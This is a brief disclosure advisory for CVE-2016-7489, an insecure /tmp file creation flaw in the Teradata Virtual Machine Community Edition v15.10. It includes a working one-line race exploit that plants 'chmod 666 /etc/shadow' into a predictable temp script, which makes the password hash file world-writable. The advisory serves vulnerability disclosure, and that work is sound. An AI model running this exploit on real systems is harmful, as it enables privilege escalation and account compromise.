Teradata Virtual Machine Community Edition v15.10 Insecure creation of files in /tmp
CVE ID(s):
CVE-2016-7489
Notified: 2016-10-01
Description:
Teradata is a relational database, they provide a Virtual Machine image for developers and community use.
Exploit:
$ while(true) do echo "chmod 666 /etc/shadow" > /tmp/t2a.pl.get_profile.scr; done